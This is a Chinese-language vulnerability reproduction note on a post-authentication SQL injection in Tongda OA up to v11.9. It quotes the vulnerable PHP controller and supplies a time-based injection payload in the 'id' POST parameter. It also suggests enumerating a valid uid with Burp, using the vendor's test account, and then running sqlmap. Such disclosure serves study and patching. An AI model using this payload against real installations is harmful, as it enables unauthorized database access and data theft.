# 通达OA v11.9 upsharestatus 后台SQL注入漏洞
|
||
|
||
## 漏洞描述
|
||
|
||
通达OA v11.9 及以下版本中由于某些参数过滤不完善导致后台存在SQL注入漏洞
|
||
|
||
## 漏洞影响
|
||
|
||
```
|
||
通达OA <= v11.9
|
||
```
|
||
|
||
## 环境搭建
|
||
|
||
```plain
|
||
https://cdndown.tongda2000.com/oa/2019/TDOA11.9.exe
|
||
```
|
||
|
||
双击安装
|
||
|
||
|
||
|
||
## 漏洞复现
|
||
|
||
漏洞文件位 **webroot/general/appbuilder/modules/portal/controllers/WorkbenchController.php**
|
||
|
||
```php
|
||
public function actionUpsharestatus()
|
||
{
|
||
Yii::$app->response->format = yii\web\Response::FORMAT_JSON;
|
||
$data = modules\appdesign\models\AppUtils::toGBK($_POST);
|
||
|
||
if (modules\portal\controllers\intval($data["uid"]) == $_SESSION["LOGIN_UID"]) {
|
||
modules\portal\models\PortalWorkbench::updateAll(array("state" => "{$data["status"]}"), "id={$data["id"]}");
|
||
}
|
||
else if ($data["status"] == 1) {
|
||
modules\portal\models\PortalWorkbenchState::deleteAll(array("wids" => "{$data["id"]}", "uid" => "{$_SESSION["LOGIN_UID"]}"));
|
||
}
|
||
else {
|
||
$Work = new modules\portal\models\PortalWorkbenchState();
|
||
$Work->wids = $data["id"];
|
||
$Work->uid = $_SESSION["LOGIN_UID"];
|
||
$Work->save();
|
||
}
|
||
|
||
$dataBack = array("status" => 1, "msg" => modules\portal\controllers\_("操作成功"));
|
||
$dataBack = modules\appdesign\models\AppUtils::toUTF8($dataBack);
|
||
return $dataBack;
|
||
}
|
||
```
|
||
|
||
|
||
|
||
其中 **updateAll()** 函数并没有使用防止 SQL注入的 **sql_injection()** 来防止注入
|
||
|
||
**webroot/inc/conn.php**
|
||
|
||
|
||
|
||
所以这里就出现了 id 参数存在注入的情况，请求包如下
|
||
|
||
```plain
|
||

|
||
uid=15&status=1&id=1;select sleep(4)
|
||
```
|
||
|
||
注意 uid参数 要为当前用户的uid才能完成请求，可以使用 burp 遍历查看时间响应
|
||
|
||
例如这里使用官网的测试账户 uid 遍历出为 15
|
||
|
||
|
||
|
||
如果uid错误则不会出现时间延迟，将请求包放入 Sqlmap跑一下
